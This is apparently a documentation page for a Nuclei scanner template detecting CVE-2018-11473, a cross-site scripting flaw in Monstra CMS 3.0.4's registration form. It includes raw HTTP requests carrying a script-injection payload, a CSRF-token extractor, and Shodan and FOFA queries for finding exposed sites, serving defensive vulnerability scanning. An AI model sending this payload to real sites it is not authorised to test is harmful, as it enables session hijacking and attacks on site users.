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Monstra CMS 3.0.4 - Cross-Site Scripting

ID: CVE-2018-11473

Severity: medium

Author: ritikchaddha

Tags: cve,cve2018,xss,mostra,mostracms,cms,monstra

Description

Section titled “Description”

Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2018-11473


info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/monstra-cms/monstra/issues/446
    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11473
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.4118
    cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: monstra
    product: monstra
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2018,xss,mostra,mostracms,cms,monstra


http:
  - raw:
      - |
        GET /users/registration HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /users/registration HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"
          - "Monstra"
        case-insensitive: true
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body
# digest: 490a0046304402206d3c28cfaba69ea478c7cf46ced998d5d41de4d84f96c2398c3118f463740aa602204bf1b9da27b42aba1c838ec5d357810744bce9a1c03fb3a464863d34c730c773:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-11473.yaml"

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